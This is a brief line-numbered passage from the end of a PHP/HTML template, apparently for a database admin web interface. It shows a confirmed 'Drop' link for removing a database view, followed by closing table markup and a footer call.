4781 <a href="javascript:void(0)" onclick="if (confirm('DROP VIEW <?php echo $view_enq;?> ?')) document.forms['drop_<?php echo $view;?>'].submit();">Drop</a>
4782 </td>
4783 </tr>
4784 <?php endforeach; ?>
4785 </table>
4786
4787</div>
4788<?php endif; ?>
4789
4790<div style="clear: both;"></div>
4791
4792<?php powered_by(); ?>
4793</body>
4794</html>